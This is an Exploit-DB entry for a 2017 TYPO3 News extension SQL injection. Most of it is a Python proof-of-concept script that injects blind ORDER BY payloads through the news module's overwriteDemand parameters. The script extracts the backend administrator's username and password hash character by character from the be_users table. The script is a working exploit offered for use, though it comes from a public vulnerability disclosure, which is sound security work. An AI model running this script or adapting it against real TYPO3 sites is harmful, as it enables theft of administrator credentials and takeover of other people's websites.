TYPO3 Extension News - SQL Injection

EDB-ID:

41940

CVE:

N/A




Platform:

PHP

Date:

2017-04-27


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# Exploit Title: TYPO3 News Module SQL Injection
# Vendor Homepage: https://typo3.org/extensions/repository/view/news
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/typo3-news-module-sqli


#!/usr/bin/python3

# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#

import requests
import string

 
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}


# Change this
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'

FULL_CHARSET = string.ascii_letters + string.digits + '$./'


def blind(field, table, condition, charset):

    # We add 9 so that the result has two digits

    # If the length is superior to 100-9 it won't work

    size = blind_size(

        'length(%s)+9' % field, table, condition,

        2, string.digits

    )

    size = int(size) - 9

    data = blind_size(

        field, table, condition,

        size, charset

    )

    return data


def select_position(field, table, condition, position, char):

    payload = 'select(%s)from(%s)where(%s)' % (

        field, table, condition

    )

    payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)

    payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (

        payload, ord(char)

    )

    return payload


def blind_size(field, table, condition, size, charset):

    string = ''

    for position in range(size):

        for char in charset:

            payload = select_position(field, table, condition, position+1, char)

            if test(payload):

                string += char

                print(string)

                break

        else:

            raise ValueError('Char was not found')

 

    return string


def test(payload):

    response = session.post(

        URL,

        data=data(payload)

    )

    response = response.text

    return response.index(PATTERN0) < response.index(PATTERN1)

def data(payload):

    return {

        'tx_news_pi1[overwriteDemand][order]': payload,

        'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,

        'tx_news_pi1[search][subject]': '',

        'tx_news_pi1[search][minimumDate]': '2016-01-01',

        'tx_news_pi1[search][maximumDate]': '2016-12-31',

    }

# Exploit

print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))